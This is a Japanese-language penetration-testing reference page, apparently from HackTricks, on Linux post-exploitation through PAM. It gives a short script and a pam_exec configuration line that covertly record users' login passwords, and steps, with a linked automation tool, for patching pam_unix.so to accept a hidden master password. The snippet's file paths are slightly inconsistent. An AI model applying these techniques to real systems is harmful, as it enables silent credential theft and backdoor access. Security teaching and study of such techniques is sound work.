# Linux Post-Exploitation {{#include ../../banners/hacktricks-training.md}} ## PAMを使用したログインパスワードのスニッフィング 各ユーザーがログインに使用するパスワードをログに記録するためにPAMモジュールを設定しましょう。PAMが何か分からない場合は、以下を確認してください: {{#ref}} pam-pluggable-authentication-modules.md {{#endref}} **詳細については[元の投稿](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)を確認してください**。これは要約です: **技術概要:** プラガブル認証モジュール(PAM)は、Unixベースのシステムでの認証管理に柔軟性を提供します。ログインプロセスをカスタマイズすることでセキュリティを強化できますが、誤用されるとリスクも伴います。この要約では、PAMを使用してログイン資格情報をキャプチャする技術と、その緩和戦略を概説します。 **資格情報のキャプチャ:** - `toomanysecrets.sh`という名前のbashスクリプトが作成され、ログイン試行を記録し、日付、ユーザー名(`$PAM_USER`)、パスワード(stdin経由)、およびリモートホストIP(`$PAM_RHOST`)を`/var/log/toomanysecrets.log`にキャプチャします。 - スクリプトは実行可能にされ、`pam_exec.so`モジュールを使用してPAM設定(`common-auth`)に統合され、静かに実行し、認証トークンをスクリプトに公開するオプションが付与されます。 - このアプローチは、侵害されたLinuxホストがどのようにして資格情報を密かにログに記録するために悪用されるかを示しています。 ```bash #!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log sudo touch /var/log/toomanysecrets.sh sudo chmod 770 /var/log/toomanysecrets.sh sudo nano /etc/pam.d/common-auth # Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh sudo chmod 700 /usr/local/bin/toomanysecrets.sh ``` ### PAMのバックドア作成 **詳細については[元の投稿](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)を確認してください**。これは要約です: Pluggable Authentication Module (PAM)は、Linuxでユーザー認証に使用されるシステムです。これは、**ユーザー名**、**パスワード**、および**サービス**の3つの主要な概念に基づいています。各サービスの設定ファイルは`/etc/pam.d/`ディレクトリにあり、共有ライブラリが認証を処理します。 **目的**:特定のパスワードでの認証を許可するようにPAMを変更し、実際のユーザーパスワードをバイパスします。これは、パスワード検証のためにほぼすべてのサービスに含まれる`common-auth`ファイルで使用される`pam_unix.so`共有ライブラリに特に焦点を当てています。 ### `pam_unix.so`の変更手順: 1. **`common-auth`ファイル内の認証ディレクティブを特定**: - ユーザーのパスワードを確認する責任がある行は`pam_unix.so`を呼び出します。 2. **ソースコードを変更**: - `pam_unix_auth.c`ソースファイルに、事前定義されたパスワードが使用された場合にアクセスを許可する条件文を追加し、そうでない場合は通常の認証プロセスを続行します。 3. **再コンパイルして**、適切なディレクトリに変更された`pam_unix.so`ライブラリを置き換えます。 4. **テスト**: - 事前定義されたパスワードでさまざまなサービス(ログイン、ssh、sudo、su、スクリーンセーバー)にアクセスが許可され、通常の認証プロセスには影響がありません。 > [!NOTE] > このプロセスは[https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)で自動化できます。 {{#include ../../banners/hacktricks-training.md}}